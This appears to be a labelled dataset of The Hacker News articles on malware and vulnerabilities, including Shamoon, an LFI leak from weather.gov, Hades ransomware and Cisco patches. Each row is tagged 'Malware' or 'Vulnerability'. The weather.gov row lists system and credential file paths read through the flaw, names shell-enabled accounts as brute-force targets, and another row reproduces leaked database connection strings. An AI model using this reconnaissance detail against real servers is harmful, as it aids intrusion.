Shamoon Malware : Permanently wiping data from Energy Industry Computers,https://thehackernews.com/2012/08/shamoon-malware-permanently-wiping-data.html,"Malware researchers have uncovered an attack targeting an organization in the energy industry that attempts to wreak havoc by permanently wiping data from an infected computer's hard drive and rendering the machine unusable. Symantec would not name the victimized firm, and so far has seen the attack only in this one organization.

W32.Disttrack is a new threat that is being used in specific targeted attacks against at least one organization in the energy sector. It is a destructive malware that corrupts files on a compromised computer and overwrites the MBR (Master Boot Record) in an effort to render a computer unusable.

W32.Disttrack consists of several components:
Dropper—the main component and source of the original infection. It drops a number of other modules.
Wiper—this module is responsible for the destructive functionality of the threat.
Reporter—this module is responsible for reporting infection information back to the attacker.
""Ten years ago we used to see purely malicious threats like this,"" muses Symantec researcher Liam O Murchu. The likely scenario for the victim would be an experience in which the computer is booting up, but all the files get erased, and the computer collapses into a non-bootable state.

Saudi Arabia-based Saudi Aramco, the world's largest crude exporter, was reportedly hit by a computer virus this week that entered its network through personal computers. Shamoon is unusual because it goes to great lengths to ensure destroyed data can never be recovered, something that is rarely seen in targeted attacks. It has self-propagation capabilities that allow it to spread from computer to computer using shared network disks. It overwrites disks with a small portion of a JPEG image found on the Internet.

",Malware
Sensitive server info leaked from weather.gov Vulnerability,https://thehackernews.com/2012/10/sensitive-server-info-leaked-from.html,"Kosova Hacker's Security group today release very sensitive server info of ""The National Weather Service"", which was gathered due to a ""Local file inclusion"" Vulnerability in weather.gov .

By definition, Local File Inclusion (also known as LFI) is the process of including files on a server through the web browser. This vulnerability occurs when a page include is not properly sanitized, and allows directory traversal characters to be injected.

Hackers publish complete data in a pastebin file uploaded today, but the hack was performed two day back and in meantime, server administrator fix the vulnerability.

We just talk with the hacking crew to know the reason of hack and data exposure, one of them explain that they are against US policies, who are targeting muslim countries. ""They hack our nuclear plants using STUXNET and FLAME like malwares , they are bombing us 24*7, we can't sit silent - hack to payback them""

Hacker expose data from sensitive files :
/etc/passwd
/etc/groups
/etc/hosts
/etc/samba/dhcp.conf
/etc/apache2/conf.d
/proc/version
/proc/cpuinfo
/proc/self/mounts
/proc/self/status
/proc/self/stat
/etc/security/access.conf
/etc/ldap/ldap.conf
/etc/cups/printers.conf
/etc/gconf
/etc/syslog.conf
/etc/snmp/snmpd.conf
/share/snmp/snmpd.conf
/etc/ca-certificates.conf
/etc/mysql/conf.d
/etc/security/limits.conf
/etc/security/group.conf

For a server administrator this information is very sensitive, whereas for a Hacker this information could be too much juicy like members of /bin/bash shell are root, cmccan, darnold, mstrydom, nscanner who can login via console. That means, hackers can try to brute force there usernames against password list to compromise whole server.

In their note hackers wrote, ""Months ago in the American media write that as Americans have in the field control cybernetics Muslim country servers. We as an organization have taken the order we receive checks in some American servers as it is one of to Weather.Gov. We do not want Americans to take control servers Muslim country .We have infected computers with botnets very few organizations that deal with anti-Muslim purposes. We will soon publish the many other things the U.S. government and we will never stop year after year . This is our mission .""

UPDATE: A 'The Hacker News' Reader - Chirag Singh just reported another vulnerability in same site. This time its Cross site scripting, Proof of concept is as shown below in screenshot.


",Vulnerability
This July Microsoft Plans to Patch Windows and Internet Explorer Vulnerabilities,https://thehackernews.com/2014/07/this-july-microsoft-plans-to-patch.html,"Beginning of the new month, Get Ready for Microsoft Patch Tuesday!

Microsoft has released its Advance Notification for the month of July 2014 Patch Tuesday releasing six security Bulletins, which will address a total of six vulnerabilities in its products, out of which two are marked critical, one is rated moderate and rest are important in severity.

All six vulnerabilities are important for you to patch, as the flaws are affecting various Microsoft software, including Microsoft Windows, Microsoft Server Software and Internet Explorer, with the critical ones targeting Internet Explorer and Windows. Microsoft is also providing an update for the ""Microsoft Service Bus for Windows Server"" which is rated moderate for a Denial of Service (DoS) flaw.

""At first glance it looks like Microsoft may be taking it easy on us this month, which would be nice since we will be coming off a long holiday weekend here in the U.S."" Chris Goettl from IT Security firm Shavlik told in an email to The Hacker News. ""Microsoft has announced six bulletins for July: two critical, three important and one moderate. The critical updates could allow for remote code execution, which would prevent attackers from accessing your data remotely. The important updates are all elevation of privilege attacks and the moderate is a denial-of-service attack update.""

ONCE AGAIN, INTERNET EXPLORER
As usually, one of the two Critical security bulletins is related to Internet Explorer, which will address a Remote Code Execution vulnerability, affecting all versions of Internet Explorer including IE11 in Windows 8.1.

The second Critical security bulletin impacts almost every supported version of the Windows operating system, including Windows 8.1. Windows RT, Server 2008 and server 2012 R2 all have critical fixes that may require a restarting.

Bulletin 3, 4, and 5 are all elevation of privilege vulnerabilities in Windows and affect all versions of Windows, and therefore, are important to patch.

The final bulletin is rated 'moderate' and is a Denial of Service vulnerability, which impacts Microsoft Service Bus for Windows Server.

""This month we are primarily looking at OS updates, although there is also an Internet Explorer update. Considering last month there was a cumulative security update for IE that affects all currently supported versions of IE on all currently supported versions of Windows, this month there will likely not be a cumulative update."" Chris Goettl said.

PATCH TUESDAY, 8TH JULY
Full details of the vulnerabilities will be released on Tuesday, July 8 at 10am PST by Microsoft, along with a guide for administrators.

'One thing to watch out for will be the many exceptions we saw last month. Many of the updates we saw in June require other updates to be in place, depending on the platform it applied to. For those running Windows 8.1 or Server 2012 R2, they need to be prepared for more of these updates to require Update 1 before they can apply them. Microsoft had stated they would delay a hard enforcement until August, but more and more of the patches had variations that required Update 1', Chris said.

Microsoft will not release any security update for its older version of Windows XP, as it stopped supporting Windows XP Operating System. So, if you are still running this older version of operating system on your PCs, we again advise you to move on to other operating system in order to receive updates and secure yourself from upcoming threats.

",Vulnerability
Experts Shed Light On Distinctive Tactics Used by Hades Ransomware,https://thehackernews.com/2021/06/experts-shed-light-on-distinctive.html,"Cybersecurity researchers on Tuesday disclosed ""distinctive"" tactics, techniques, and procedures (TTPs) adopted by operators of Hades ransomware that set it apart from the rest of the pack, attributing it to a financially motivated threat group called GOLD WINTER.
""In many ways, the GOLD WINTER threat group is a typical post-intrusion ransomware threat group that pursues high-value targets to maximize how much money it can extort from its victims,"" researchers from SecureWorks Counter Threat Unit (CTU) said in an analysis shared with The Hacker News. ""However, GOLD WINTER's operations have quirks that distinguish it from other groups.""
The findings come from a study of incident response efforts the Atlanta-based cybersecurity firm engaged in the first quarter of 2021.
Since first emerging in the threat landscape in December 2020, Hades has been classified as INDRIK SPIDER's successor to WastedLocker ransomware with ""additional code obfuscation and minor feature changes,"" per Crowdstrike. INDRIK SPIDER, also known as GOLD DRAKE and Evil Corp, is a sophisticated eCrime group infamous for operating a banking trojan called Dridex as well as distributing BitPaymer ransomware between 2017 and 2020.
The WastedLocker-derived ransomware strain has been found to have impacted at least three victims as of late March 2021, according to research by Accenture's Cyber Investigation and Forensic Response (CIFR) and Cyber Threat Intelligence (ACTI) teams, including a U.S. transportation and logistics organization, a U.S. consumer products organization, and a global manufacturing organization. Trucking giant Forward Air was revealed to be a target back in December 2020.
Then a subsequent analysis published by Awake Security raised the possibility that an advanced threat actor may be operating under the guise of Hades, citing a Hafnium domain that was identified as an indicator of compromise within the timeline of the Hades attack. Hafnium is the name assigned by Microsoft to a Chinese nation-state actor that the company has said is behind the ProxyLogon attacks on vulnerable Exchange Servers earlier this year.
Stating that the threat group uses TTPs not associated with other ransomware operators, Secureworks said the absence of Hades from underground forums and marketplaces could mean that Hades is operated as private ransomware rather than ransomware-as-a-service (RaaS).
GOLD WINTER targets virtual private networks and remote desktop protocols to gain an initial foothold and maintain access to victim environments, using it to achieve persistence via tools such as Cobalt Strike. In one instance, the adversary disguised the Cobalt Strike executable as a CorelDRAW graphics editor application to mask the true nature of the file, the researchers said.
In a second case, Hades was found to leverage SocGholish malware — usually associated with the GOLD DRAKE group — as an initial access vector. SocGholish refers to a drive-by attack in which a user is tricked into visiting an infected website using social engineering themes that impersonate browser updates to trigger a malicious download without user intervention.
Interestingly, in what appears to be an attempt to mislead attribution or ""pay homage to admired ransomware families,"" Hades has exhibited a pattern of duplicating ransom notes from other rival groups like REvil and Conti.
Another novel technique involves the use of Tox instant messaging service for communications, not to mention the use of Tor-based websites tailored to each victim as opposed to utilizing a centralized leak site to expose data stolen from its victims. ""Each website includes a victim-specific Tox chat ID for communications,"" the researchers said.
""Ransomware groups are typically opportunistic: they target any organization that could be susceptible to extortion and will likely pay the ransom,"" the researchers noted. ""However, GOLD WINTER's attacks on large North America-based manufacturers indicates that the group is a 'big game hunter' that specifically seeks high-value targets.""

",Malware
Cybercriminals Using Telegram Messenger to Control ToxicEye Malware,https://thehackernews.com/2021/04/cybercriminals-using-telegram-messenger.html,"Adversaries are increasingly abusing Telegram as a ""command-and-control"" system to distribute malware into organizations that could then be used to capture sensitive information from targeted systems.
""Even when Telegram is not installed or being used, the system allows hackers to send malicious commands and operations remotely via the instant messaging app,"" said researchers from cybersecurity firm Check Point, who have identified no fewer than 130 attacks over the past three months that make use of a new multi-functional remote access trojan (RAT) called ""ToxicEye.""
The use of Telegram for facilitating malicious activities is not new. In September 2019, an information stealer dubbed Masad Stealer was found to plunder information and cryptocurrency wallet data from infected computers using Telegram as an exfiltration channel. Then last year, Magecart groups embraced the same tactic to send stolen payment details from compromised websites back to the attackers.
The strategy also pays off in a number of ways. For a start, Telegram is not only not blocked by enterprise antivirus engines, the messaging app also allows attackers to remain anonymous, given the registration process requires only a mobile number, thereby giving them access to infected devices from virtually any location across the world.
The latest campaign spotted by Check Point is no different. Spread via phishing emails embedded with a malicious Windows executable file, ToxicEye uses Telegram to communicate with the command-and-control (C2) server and upload data to it. The malware also sports a range of exploits that allows it to steal data, transfer and delete files, terminate processes, deploy a keylogger, hijack the computer's microphone and camera to record audio and video, and even encrypt files for a ransom.
Specifically, the attack chain commences with the creation of a Telegram bot by the attacker, which is then embedded into the RAT's configuration file, before compiling it into an executable (e.g. ""paypal checker by saint.exe""). This .EXE file is then injected into a decoy Word document (""solution.doc"") that, when opened, downloads and runs the Telegram RAT (""C:\Users\ToxicEye\rat.exe"").
""We have discovered a growing trend where malware authors are using the Telegram platform as an out-of-the-box command-and-control system for malware distribution into organizations,"" Check Point R&D Group Manager Idan Sharabi said. ""We believe attackers are leveraging the fact that Telegram is used and allowed in almost all organizations, utilizing this system to perform cyber attacks, which can bypass security restrictions.""

",Malware
Firmware vulnerability allows man-in-the-middle attack using SD Memory cards,https://thehackernews.com/2014/01/firmware-vulnerability-allows-man-in.html,"How is it possible to exploit SD Card, USB stick and other mobile devices for hacking? Another interesting hack was presented at the Chaos Computer Congress (30C3), in Hamburg, Germany.

The researchers demonstrated how it is possible to hack the microcontroller inside every SD and MicroSD flash cards that allow arbitrary code execution and can be used to perform a man in the middle attack.

The Hardware Hackers Andrew ""bunnie"" Huang and Sean ""xobs"" described the exploitation method on their blog post,""it also enables the possibility for hardware enthusiasts to gain access to a very cheap and ubiquitous source of microcontrollers.""
It seems that to reduce SD cards price and increase their storage capability, engineers have to consider a form of internal entropy that could affect data integrity on every Flash drive. Almost every NAND flash memory is affected by defects and presents problems like electron leakage between adjacent cells.

""Flash memory is really cheap. So cheap, in fact, that it's too good to be true. In reality, all flash memory is riddled with defects — without exception. The illusion of a contiguous, reliable storage media is crafted through sophisticated error correction and bad block management functions. This is the result of a constant arms race between the engineers and mother nature; with every fabrication process shrinks, memory becomes cheaper but more unreliable. Likewise, with every generation, the engineers come up with more sophisticated and complicated algorithms to compensate for mother nature's propensity for entropy and randomness at the atomic scale."" wrote Huang.

Manufacturers have a sophisticated software that can detect hardware issues, such as bad sectors, and correct them through firmware. Hackers could hack into these flash-based storage devices using firmware vulnerability, allowing them to install malware.

The firmware on the SD cards can be updated, but according the Huang revelations most manufacturers leave this update functionality unsecured.

During the presentation, they reverse-engineered the instruction set of a particular microcontroller to inspect firmware loading mechanism.

The attackers suitably modifying the firmware could hack any device that uses the compromised SD card (e.g. A mobile device, Wi-Fi equipped camera), the flash memory will appear to be operating normally while hacking the hoisting equipment.
The SD card could make a copy of the contents in a hidden memory area or it could run malicious code while idle avoiding detection mechanisms.

When we speak about USB hacking or SD Card is hacking we must consider that we are approaching the hacking on a large-scale due the wide diffusion of these components. Microcontrollers cost as little as 15¢ each in quantity, they are everywhere and every device that use them could be hacked.

Another consideration that must be done is that Governments and high profile hackers could be very interested in this type of attack for both cyber espionage and sabotage, arrange a countermeasure against those types of threat it is very hard.

A curiosity for the ""hackers inside""... These cards could be reprogrammed to become Arduino open source microcontroller and memory systems.

""An Arduino, with its 8-bit 16 MHz microcontroller, will set you back around $20. A MicroSD card with several gigabytes of memory and a microcontroller with several times the performance could be purchased for a fraction of the price,"" he writes.

So, in short, destroy your SD cards if you have any dirty info on them and keep your eyes peeled for ultra-small, ultra-fast Arduino hacks.

Look closely at the presentation... and distrustful of SD cards from now on.

",Malware
FinFisher spyware found running on computers all over the world,https://thehackernews.com/2012/08/finfisher-spyware-found-running-on.html,"FinFisher, a software application used by law enforcement agencies for surveillance, appears to be far more widespred than originally thought.Sold by British company Gamma Internationl Gmbh, FinFisher secretly monitors computers by turning on webcams, recording everything the user types with a keylogger, and monitoring Skype calls.

It can also bypass popular antivirus products, communicate covertly with remote servers, record emails, chats, and VOIP calls, and harvesting data from the hard drive.
On Wednesday, computer security company Rapid7 researcher Claudio Guarnieri shared new details of the workings of FinFisher, a piece of malware sold by UK contractor Gamma Group to government agencies. He found FinFisher servers at work in Australia, Czech Republic, United Arab Emirates, Ethiopia, Estonia, Indonesia, Latvia, Mongolia, Qatar, and the United States.
Rapid7 has published the IP addresses and communication ""fingerprint"" of the command and control servers it has discovered. The information can be used in intrusion detection systems. ""If you can identify those networks actually communicating with those IPs, it most likely means some of the people on those networks are being spied on in some way,"" Guarnieri said.

Muench, who is based in Munich, has said his company didn't sell FinFisher spyware to Bahrain. He said he's investigating whether the samples used against Bahraini activists were stolen demonstration copies or were sold via a third party.

",Vulnerability
Microsoft patches Stuxnet and FREAK Vulnerabilities,https://thehackernews.com/2015/03/stuxnet-freak-windows-vulnerability.html,"Microsoft has come up with its most important Patch Tuesday for this year, addressing the recently disclosed critical the FREAK encryption-downgrade attack, and a separate five-year-old vulnerability leveraged by infamous Stuxnet malware to infect Windows operating system.

Stuxnet malware, a sophisticated cyber-espionage malware allegedly developed by the US Intelligence and Israeli government together, was specially designed to sabotage the Iranian nuclear facilities a few years ago. First uncovered in 2010, Stuxnet targeted computers by exploiting vulnerabilities in Windows systems.

Thankfully, Microsoft has issued a patch to protect its Windows machines that have been left vulnerable to Stuxnet and other similar attacks for the past five years. The fixes are included in MS15-020 which resolves Stuxnet issue.

The company has also issued an update that patches the FREAK encryption vulnerability in its SSL/TSL implementation called Secure Channel (Schannel). The fixes for the vulnerability are included in MS15-031.

As we have mentioned in our previous report, FREAK — short for Factoring attack on RSA-EXPORT Keys — was initially thought to be associated with Apple's Safari and Android's stock browsers, but it was found to affect Windows PCs as well.

This decades-old FREAK vulnerability allows an attacker on your network to force the software using Schannel component such as Internet Explorer to use weak encryption over the web, so that they can easily decrypt the intercepted HTTPS connections.

Among these two critical issues, the company has also released a bunch of other updates. Microsoft's March 2015 Patch Tuesday update bundles a total of 14 security-related updates for 43 vulnerabilities affecting Internet Explorer, VBscript, Text Services, Adobe Font Drivers, and Office.
MS15-018 - A Cumulative Security Update, rated as 'critical', affects all supported versions of Internet Explorer and addresses a number of Memory Corruption vulnerabilities, two elevation of privilege vulnerabilities, and a VBscript memory corruption vulnerability.
MS15-019 - This update addresses a scripting vulnerability in some older versions of Windows operating systems. The vulnerability doesn't affect Windows 7 and later desktop versions.
MS15-021 - It addresses eight vulnerabilities in the Adobe Font Driver components for Windows and Windows Server exploitable through a malicious website or file. It is also rated 'critical' due to the possibility of remote code execution.
MS15-022 - This update fixes three unknown flaws in Office document formats as well as multiple cross-site scripting (XSS) issues for SharePoint Server, and applies to all supported versions of Microsoft Office, as well as the server-based Office Web Apps and SharePoint Server products.
MS15-023 - This bulletin, rated as 'important', addresses four vulnerabilities in the Windows Kernel-Mode driver allowing elevation of privilege and information disclosure attacks by launching a specially-crafted application.
Rest of all, MS15-024, MS15-025, MS15-027, MS15-028, MS15-29 and MS15-30, are rated as 'important' and affected Windows and Windows Server. Microsoft is advising all its users and administrators to install the new updates as soon as possible.

",Vulnerability
"More than 1,400 Financial institutions in 88 Countries targeted by Banking Trojan in 2013",https://thehackernews.com/2013/12/more-than-1400-financial-institutions.html,"As the year draws to a close, we have seen the number of emerging threats like advance phishing attacks from the Syrian Electronic Army, financial malware and exploit kits, Cryptolocker ransomware infections, massive Bitcoin theft, extensive privacy breach from NSA and many more.

The financial malware's were the most popular threat this year. Money is always a perfect motivation for attackers and cyber criminals who are continually targeting financial institutions.
On Tuesday, Antivirus firm Symantec has released a Threat report, called ""The State of Financial Trojans: 2013"", which revealed that over 1,400 financial institutions have been targeted and compromised millions of computers around the globe and the most targeted banks are in the US with 71.5% of all analyzed Trojans.

Financial institutions have been fighting against malware for the last ten years to protect their customers and online transactions from threat. Over the time the attackers adapted to these countermeasures and sophisticated banking Trojans began to emerge.

According to the report, the number of infections of the most common financial Trojans grew to 337 percent in the first nine months of 2013. Nearly 1,500 institutions in 88 countries were potential targets during 2013.
The financial fraud marketplace is also increasingly organized and Cyber criminals are using advanced Trojans to commit large scale attacks.
Attackers of all skill levels can enter the arena of financial fraud, as the underground marketplace is a service industry that provides an abundance of resources. Those who lack expertise can simply purchase what they need. For as little as $100, an attacker can avail of a leaked Zeus or Spyeye equipped with Web-injects.
The modern financial Trojan is extremely flexible, supporting a range of functionality designed to facilitate fraudulent transactions across a variety of services.

Two dominant attack strategies are:
Focused attack: This approach suits attackers with limited resources but also scales well to larger operations. If the distribution is accurate and the target institution has a sizeable client base, a focused attack can provide an adequate supply of targets. Shylock, Bebloh and Tilon all use this approach exclusively.
Broad strokes: In this attack strategy, Trojans are set to target large numbers of institutions. Tilon, Cridex, and Gameover adopt these tactics and Zeus also uses this approach in its default configuration.
According to Symantec, the main reason for the surge is weak authentication practices:

Unfortunately, in many situations, security implementations adopted by financial institutions are inadequate to defend against the modern financial Trojan. Institutions are starting to adopt strong security measures like chipTAN, but the adoption rate is slow. Institutions that persist with weaker security measures will continue to be exploited by attackers.
They need to maintain constant vigilance, apply software updates, maintain an awareness of new threats and deploy complementary security solutions that can defend against evolving malware attacks.

",Malware
New Java Exploits boosts BlackHole exploit kit,https://thehackernews.com/2012/04/new-java-exploits-boosts-blackhole.html,"New Java Exploits boosts BlackHole exploit kit

A widely disseminated exploit kit popular with hackers has been updated to take advantage of a recently discovered Java vulnerability. Researchers at Microsoft reported last week that it had observed this vulnerability being exploited in the wild. The Java exploit allows attackers to bypass the Java Runtime Environment's sandbox platform to install malicious code remotely.

The malicious Java applet is loaded from an obfuscated HTML file. The Java applet contains two Java class files one Java class file triggers the vulnerability and the other one is a loader class used for loading.

Named CVE-20120-0507, the flaw essentially allows hackers to bypass the Java sandbox, which is a mechanism designed to blunt attacks from malicious code. For its part, the BlackHole exploit kit, available underground, allows users armed with only basic computer knowledge to set up malicious websites to target vulnerable computers through the web browser.

Statistics from vulnerability management firm Rapid7 tell a similar story based on its analysis of the Java patching habits of Internet users. According to the company, the first month after a Java patch is released the fix is deployed by less than 10 percent. After two months, the number jumps to approximately 20 percent. The highest patch rate for Java last year was 38 percent, which represented the percentage who applied the Java Version 6 Update 26 within three months of its release.

According to software giant Oracle, Java is deployed across more than 3 billion systems worldwide. But the truth is that many people who have this powerful program installed simply do not need it, or only need it for very specific uses. I've repeatedly encouraged readers to uninstall this program, not only because of the constant updating it requires, but also because there seem to be a never-ending supply of new exploits available for recently-patched or undocumented vulnerabilities in the program.

",Vulnerability
International Organization For Migration database hacked by Inj3ct0r Team for GREEN LIBYA,https://thehackernews.com/2011/07/international-organization-for.html,"International Organization For Migration database hacked by Inj3ct0r Team for GREEN LIBYA


Inj3ct0r Team Hackers hack the database of International Organization For Migration database (https://www.iom.int/) .



Statement by Hacker ""Sorry about the usernames and passwords not giving because we take no responsibility of defacing their database and official website.. But we want to deliver them the message that they're still publishing lies and trying to give a bad image about what's going in libya. Rooted and exposed for the pride of GREEN LIBYA and Supporting the green libyan nation.""

Data leaked By Hackers

Database :
MySQL (MM MySQL JDBC)

Database driver :
com.mysql.jdbc.Driver

Database URL :
jdbc:mysql://localhost/jahia?useUnicode=true&characterEncoding=UTF-8

2)

Database :
Orcale 9.x - 10.x

Database driver :
oracle.jdbc.driver.OracleDriver

Database URL :
jdbc:oracle:thin:@localhost:1521:jahia

3)

Database :
PostgreSQL 7.4.x

Database driver :
org.postgresql.Driver

Database URL :
jdbc:postgresql:jahia

4)

Database :
SQL Server jTDS JDBC Drivers

Database driver :
net.sourceforge.jtds.jdbc.Driver

Database URL :
jdbc:jtds:sqlserver://localhost:1433/jahia

Proof of HACK :




",Vulnerability
Adobe Reader zero-day vulnerability with modified Blackhole Exploit-Kit,https://thehackernews.com/2012/11/adobe-reader-zero-day-vulnerability.html,"Group-IB, a Russian cybercrime investigation company has discovered a zero-day vulnerability, affects Adobe Reader X and Adobe Reader XI. The vulnerability is also included in new modified version of Blackhole Exploit-Kit, which is used for the distributing the banking Trojans (Zeus, Spyeye, Carberp, Citadel) with the help of exploitation different vulnerabilities in client-side software.

The particular exploit is available in underground forums for as much as $50,000 and bug is dangerous because it permits cybercriminals to run arbitrary shellcode by bypassing the sandbox feature integrated into the more recent versions of Adobe Reader.

For now this flaw is distributed only in only small circles of the underground but it has the potential for much larger post-exploitation methods.

The exploit is limited to Microsoft Windows installations of Adobe Reader and it can't be fully executed until the user closes his Web browser (or Reader). Adobe representatives said that they were not aware of the issue. If Group IB's discovery is confirmed and Adobe patches it, it would end the software maker's two year run on zero real attacks against the sandboxed versions of Reader.

Proof-of-concept (POC) video demonstrate on YouTube by Group-IB:

",Vulnerability
Another Critical RCE Flaw Discovered in SolarWinds Orion Platform,https://thehackernews.com/2021/03/solarwinds-orion-vulnerability.html,"IT infrastructure management provider SolarWinds on Thursday released a new update to its Orion networking monitoring tool with fixes for four security vulnerabilities, counting two weaknesses that could be exploited by an authenticated attacker to achieve remote code execution (RCE).
Chief among them is a JSON deserialization flaw that allows an authenticated user to execute arbitrary code via the test alert actions feature available in the Orion Web Console, which lets users simulate network events (e.g., an unresponsive server) that can be configured to trigger an alert during setup. It has been rated critical in severity.
A second issue concerns a high-risk vulnerability that could be leveraged by an adversary to achieve RCE in the Orion Job Scheduler. ""In order to exploit this, an attacker first needs to know the credentials of an unprivileged local account on the Orion Server,"" SolarWinds said in its release notes.
The advisory is light on technical specifics, but the two shortcomings are said to have been reported via Trend Micro's Zero Day Initiative.
Besides the aforementioned two flaws, the update squashes two other bugs, including a high-severity stored cross-site scripting (XSS) vulnerability in the ""add custom tab"" within customize view page (CVE-2020-35856) and a reverse tabnabbing and open redirect vulnerability in the custom menu item options page (CVE-2021-3109), both of which require an Orion administrator account for successful exploitation.
The new update also brings a number of security improvements, with fixes for preventing XSS attacks and enabling UAC protection for Orion database manager, among others.
The latest round of fixes arrives almost two months after the Texas-based company addressed two severe security vulnerabilities impacting Orion Platform (CVE-2021-25274 and CVE-2021-25275), which could have been exploited to achieve remote code execution with elevated privileges.
Orion users are recommended to update to the latest release, ""Orion Platform 2020.2.5,"" to mitigate the risk associated with the security issues.

",Vulnerability
Finland's Ministry of Foreign Affairs networks hit by sophisticated Malware attack,https://thehackernews.com/2013/11/Finland-Ministry-Foreign-Affairs-malware-espionage-red-october.html,"Finnish commercial broadcaster MTV3 reports that the Finnish Ministry of Foreign Affair networks has been targeted in a four-year-long cyber espionage operation.

Finland's foreign minister said, ""I can confirm there has been a severe and large hacking in the ministry's data network,""

A large scale spying attack targeted the communications between Finland and the European Union using a malware, similar to, and more sophisticated than Red October. The breach was uncovered during the early part of this year.
MTV3 also mentioned that the breach was not discovered by the Finns themselves, but from a foreign tip-off reported to CERT.FI. Further the Finnish authorities kept the information under wraps for continuing the forensics.

There are indications that information with the lowest level security classification has been compromised, he said.

In January, 2013, we had reported about Red October Cyber-espionage operation that targeted the computer networks of various international diplomatic service agencies. According security experts from Kaspersky Lab, the cyber-espionage campaign was started since 2007 and is still active.

It is possible that Red October has been just one campaign from the same actor, and there could be others that haven't been discovered yet.

According to experts, Red October's exploits appear to have Chinese origins, whereas the malware modules may have a Russian background. So if this Finnish malware attack somewhere linked to Red October, then Russia and China are suspected of responsibility for the snooping.

Red October malware was sent via a spear-phishing email and has been tempting its targets into letting it exploit a number of relatively minor security vulnerabilities in programs such as Microsoft's Excel and Word, as well as poisoned PDFs and Java exploits.

Besides Finland, other countries could be the victim of the same attack. The Finnish Security Intelligence Service is investigating the matter.

",Malware
Cisco Issues Security Patch Updates for 32 Flaws in its Products,https://thehackernews.com/2018/09/cisco-patch-updates.html,"Cisco today released thirty security patch advisory to address a total of 32 security vulnerabilities in its products, three of which are rated critical, including the recently disclosed Apache Struts remote code execution vulnerability that is being exploited in the wild.

Out of the rest 29 vulnerabilities, fourteen are rated high and 15 medium in severity, addressing security flaws in Cisco Routers, Cisco Webex, Cisco Umbrella, Cisco SD-WAN Solution, Cisco Cloud Services Platform, Cisco Data Center Network, and more products.

The three critical security vulnerabilities patched by Cisco address issues in Apache Struts, Cisco Umbrella API, and Cisco RV110W, RV130W and RV215W router's management interface.

Apache Struts Remote Code Execution Vulnerability (CVE-2018-11776)

The vulnerability, reported late last month by Semmle security researcher Man Yue Mo, resides in the core of Apache Struts and originates due to insufficient validation of user-provided untrusted inputs in the core of the Struts framework under certain configurations.

""The vulnerability exists because the affected software insufficiently validates user-supplied input, allowing the use of results with no namespace value and the use of url tags with no value or action,"" Cisco explains in its advisory.
""In cases where upper actions or configurations also have no namespace or a wildcard namespace, an attacker could exploit this vulnerability by sending a request that submits malicious input to the affected application for processing.""
An unauthenticated, remote attacker can trigger the vulnerability by tricking victims to visit a specially crafted URL on the affected web server, allowing the attacker to execute malicious code and eventually take complete control over the targeted server running the vulnerable application.

All applications that use Apache Struts—supported versions (Struts 2.3 to Struts 2.3.34, and Struts 2.5 to Struts 2.5.16) and even some unsupported Apache Struts versions—are potentially vulnerable to this flaw, even when no additional plugins have been enabled.

Apache Struts patched the vulnerability with the release of Struts versions 2.3.35 and 2.5.17 last month. Now, Cisco has also released fixes to address the issue in its several products. You can check the list of vulnerable Cisco products here.

Since there are no workarounds for this issue, organizations and developers are strongly advised to update their Struts components as soon as possible.

Cisco Umbrella API Unauthorized Access Vulnerability (CVE-2018-0435)

The second critical vulnerability patched by Cisco resides in the Cisco Umbrella API that could allow an authenticated, remote attacker to view and modify data across their organization as well as other organizations.

Cisco Umbrella is a cloud security platform that provides the first line of defense against threats over all ports and protocols by blocking access to malicious domains, URLs, IPs, and files before a connection is ever established or a file is downloaded.

The vulnerability resides due to insufficient authentication configurations for the API interface of Cisco Umbrella, and successful exploitation could allow an attacker to read or modify data across multiple organizations.

Cisco has patched the vulnerability addressed this vulnerability in the Cisco Umbrella production APIs. No user action is required.

Cisco Routers Management Interface Buffer Overflow Vulnerability (CVE-2018-0423)

The last, but not the least, critical vulnerability resides in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall, Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router that could allow an unauthenticated, remote attacker to execute arbitrary code or cause a DoS condition.

The flaw occurs due to improper boundary restrictions on user-supplied input in the Guest user feature of the web-based management interface.

To exploit this vulnerability, an attacker can send malicious requests to a targeted device, triggering a buffer overflow condition.

""A successful exploit could allow the attacker to cause the device to stop responding, resulting in a denial of service condition, or could allow the attacker to execute arbitrary code,"" the company explains.

This vulnerability affects all releases of Cisco RV110W Wireless-N VPN Firewall, RV130W Wireless-N Multifunction VPN Router, and RV215W Wireless-N VPN Router.

Cisco has addressed this vulnerability in firmware release 1.0.3.44 for the Cisco RV130W Wireless-N Multifunction VPN Router, and will not release firmware updates for the Cisco RV110W Wireless-N VPN Firewall and Cisco RV215W Wireless-N VPN Router.

According to the company's Product Security Incident Response Team (PSIRT), Apache Struts is being exploited in the wild, while the team is not aware of any exploits leveraging the other two critical flaws.

The Bottom Line: Patch! Patch! Patch!

",Vulnerability
Pre-Installed Password Manager On Windows 10 Lets Hackers Steal All Your Passwords,https://thehackernews.com/2017/12/windows-10-password-manager.html,"If you are running Windows 10 on your PC, then there are chances that your computer contains a pre-installed 3rd-party password manager app that lets attackers steal all your credentials remotely.

Starting from Windows 10 Anniversary Update (Version 1607), Microsoft added a new feature called Content Delivery Manager that silently installs new ""suggested apps"" without asking for users' permission.

According to a blog post published Friday on Chromium Blog, Google Project Zero researcher Tavis Ormandy said he found a pre-installed famous password manager, called ""Keeper,"" on his freshly installed Windows 10 system which he downloaded directly from the Microsoft Developer Network.

Ormandy was not the only one who noticed the Keeper Password Manager. Some Reddit users complained about the hidden password manager about six months ago, one of which reported Keeper being installed on a virtual machine created with Windows 10 Pro.

Critical Flaw In Keeper Password Manager

Knowing that a third-party password manager now comes installed by default on Windows 10, Ormandy started testing the software and took no longer to discover a critical vulnerability that leads to ""complete compromise of Keeper security, allowing any website to steal any password.""

""I don't want to hear about how even a password manager with a trivial remote root that shares all your passwords with every website is better than nothing. People really tell me this,"" Ormandy tweeted.

The security vulnerability in the Keeper Password Manager was almost identical to the one Ormandy discovered and reported in the non-bundled version of the same Keeper plugin in August 2016 that enabled malicious websites to steal passwords.

""I checked and, they're doing the same thing again with this version. I think I'm being generous considering this a new issue that qualifies for a ninety day disclosure, as I literally just changed the selectors and the same attack works,"" Ormandy said.

To explain the severity of the bug, Ormandy also provided a working proof-of-concept (PoC) exploit that steals a user's Twitter password if it is stored in the Keeper app.

Install Updated Keeper Password Manager

Ormandy reported the vulnerability to the Keeper developers, who acknowledged the issue and released a fix in the just released version 11.4 on Friday by removing the vulnerable ""add to existing"" functionality.

